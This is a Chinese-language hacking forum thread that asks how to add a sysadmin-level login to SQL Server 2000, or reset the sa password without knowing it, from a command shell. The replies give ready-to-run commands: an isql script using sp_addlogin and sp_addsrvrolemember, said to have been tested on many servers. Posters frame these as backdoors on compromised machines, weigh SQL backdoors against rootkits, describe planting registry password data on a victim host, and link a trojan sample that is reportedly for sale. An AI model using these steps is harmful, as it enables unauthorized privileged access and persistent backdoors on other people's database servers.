议题作者：njl2
信息来源：邪恶八进制信息安全团队（www.eviloctal.com）

sql server 2000在 dos下如何新建sa权限用户；或者是更改sa用户密码，但是前提是不知道sa原来的密码。系统是win2000。有这方面的高人吗？

貌似要连接到MSSQL才能操作......要是都能DOS了...那搞下服务器应该没太大问题吧?为什么非要先加个SA用户呢?

需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:

exec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'

然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

测试N多服务器,好用

如果dos命令能执行添加SA的权限的命令话，楼猪这样做多此一举啊！！！

一般留sql后门还是很有用的``

留后门的选择有很多，让我选的话，我肯定不会选留SQL上的后门，太容易暴露了，倒是留个拥有系统权限的木马或者ROOTKIT更好。。。

有更好的办法就是你自己装一SQL2005,将注册表的密码部分导出,将该注册表放到肉鸡上导入后即为你自己机器上的sa密码........

exec master.dbo.sp_addlogin shashou,67469696
EXEC sp_addsrvrolemember shashou, sysadmin

保存成test.qry

然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

http://www.chinaronk.com/ie1725.swf


最新flash补丁不中马！  此页无毒  只是一个人出售该马做的样本 大家分析下！！！
解密超级无敌麻烦  牛人来分析！